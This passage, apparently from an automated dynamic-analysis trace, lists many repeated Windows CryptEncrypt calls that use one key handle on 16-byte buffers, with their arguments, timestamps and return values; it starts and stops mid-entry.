hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.277] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.277] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.277] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.277] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.277] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.277] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.277] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.277] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.277] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.277] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.277] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.277] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.277] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.277] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.277] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.277] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.278] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.278] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.278] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.278] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.278] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.278] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.278] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.278] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.278] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.278] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.278] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.278] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.278] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.278] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.278] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.278] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.278] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.278] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.278] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.278] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.279] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.279] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.279] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.279] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.279] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.279] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.279] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.279] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.279] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.279] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.279] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.279] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.279] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.279] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.279] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.279] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.279] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.279] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.279] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.279] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.280] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.280] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.280] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.280] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.280] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.280] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.280] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.280] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.280] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.280] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.280] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.280] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.280] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.280] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.280] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.280] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.280] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.280] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.280] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.280] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.280] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.281] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.281] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.281] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.281] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.281] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.281] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.281] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.281] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.281] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.281] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.281] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.281] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.281] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.281] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.281] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.281] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.281] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.281] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.282] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.282] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.282] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.282] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.282] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.282] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.282] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.282] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.282] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.282] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.282] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, 